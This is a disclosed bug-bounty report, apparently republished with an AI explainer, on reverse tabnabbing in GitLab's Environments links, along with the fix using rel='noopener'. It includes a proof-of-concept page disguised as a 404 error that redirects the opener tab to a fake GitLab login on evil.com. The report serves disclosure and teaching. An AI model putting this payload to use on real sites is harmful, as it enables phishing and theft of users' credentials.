Skip to content
Open redirect Disclosed report Beginner

Gitlab.com is vulnerable to reverse tabnabbing.

Links in the Environments section used target="_blank" without rel="noopener", so a page opened in a new tab could access window.opener and redirect the original GitLab tab to a phishing login page that asks for credentials.

edoverflow Follow

Originally disclosed on HackerOne

  • Triaged in 8 hours
  • Fixed in 15 days
  • Disclosed after 15 days

Dear GitLab bug bounty team,

Summary


Gitlab.com is vulnerable to reverse tabnabbing, since you use target="_blank" on links in the Environments section.

environments-gitlab.PNG
environments-gitlab.PNG From the original on HackerOne

Why does this vulnerability exist?


The following <a href="https://example.com/" target="_blank">link</a> is vulnerable to reverse tabnabbing, because it uses target="_blank":

<a target="_blank" class="btn external-url" href="https://evil.com"><i class="fa fa-external-link"></i>
</a>

This means the page that opens in a new tab can access the initial tab and change its location using the window.opener property.

What are the exploits?


I used some simple tricks to further increase the chances of this attack working. I added a link to a website which contains the following code:

<!DOCTYPE html>
<html>
<head>
    <title>404 Not Found</title>
</head>
<body>
    <h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    <hr>
    <address>Apache/2.2.15 (Red Hat) Server at gitlab.com Port 443</address>
    <script>
        window.opener.location.assign('https://evil.com/ph-login.html');
    </script>
</body>
</html>
404-gitlab.PNG
404-gitlab.PNG From the original on HackerOne

The new tab displays a 404 page which increases the likelihood that the victim will return to the previous tab. While the victim visited the attacker's page, the initial tab was redirected to https://evil.com/ph-login.html. This page looks exactly like the GitLab login form and asks the victim to re-enter their login credentials.

login-gitlab.PNG
login-gitlab.PNG From the original on HackerOne

How can this be fixed?


In order to mitigate this issue, developers are encouraged to use rel="nofollow noopener noreferrer" as follows:

<a target="_blank" class="btn external-url" href="https://evil.com" rel="nofollow noopener noreferrer"><i class="fa fa-external-link"></i>
</a>

Now when you click on this link, the attacker cannot access the initial tab.

For more on reverse tabnabbing, please refer to the following page: https://www.jitbit.com/alexblog/256-targetblank---the-most-underestimated-vulnerability-ever/

If you require further information feel free to contact me.

Yours sincerely, Ed

The original report as published on HackerOne, by edoverflow. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the links used target="_blank" without rel="noopener", allowing the opened page to access window.opener.

Impact

An attacker could redirect a victim's GitLab tab to a phishing page and steal their credentials if they re-enter them.

What the attacker needed

Victim clicks a link; attacker controls a website

The fix

The links should include rel="noopener" (and optionally noreferrer) to prevent the opened page from accessing window.opener.

How it was found

  1. Create a link to a website controlled by the attacker.
  2. The attacker's page contains code that redirects the opener tab to a fake login page.
  3. The victim clicks the link in the Environments section.
  4. The new tab shows a 404 page, increasing the chance the victim returns to the original tab.
  5. The original tab has been redirected to a phishing login page that looks like GitLab's login form.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a link opens in a new tab, the new page can sometimes control the original page through a browser feature called window.opener. Here, the new page could change the original GitLab tab to a fake login page. If the user re-enters their password there, the attacker gets it.

What is Open redirect?

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.

More by edoverflow

View all

27 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Open redirect

The lesson behind this report.

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.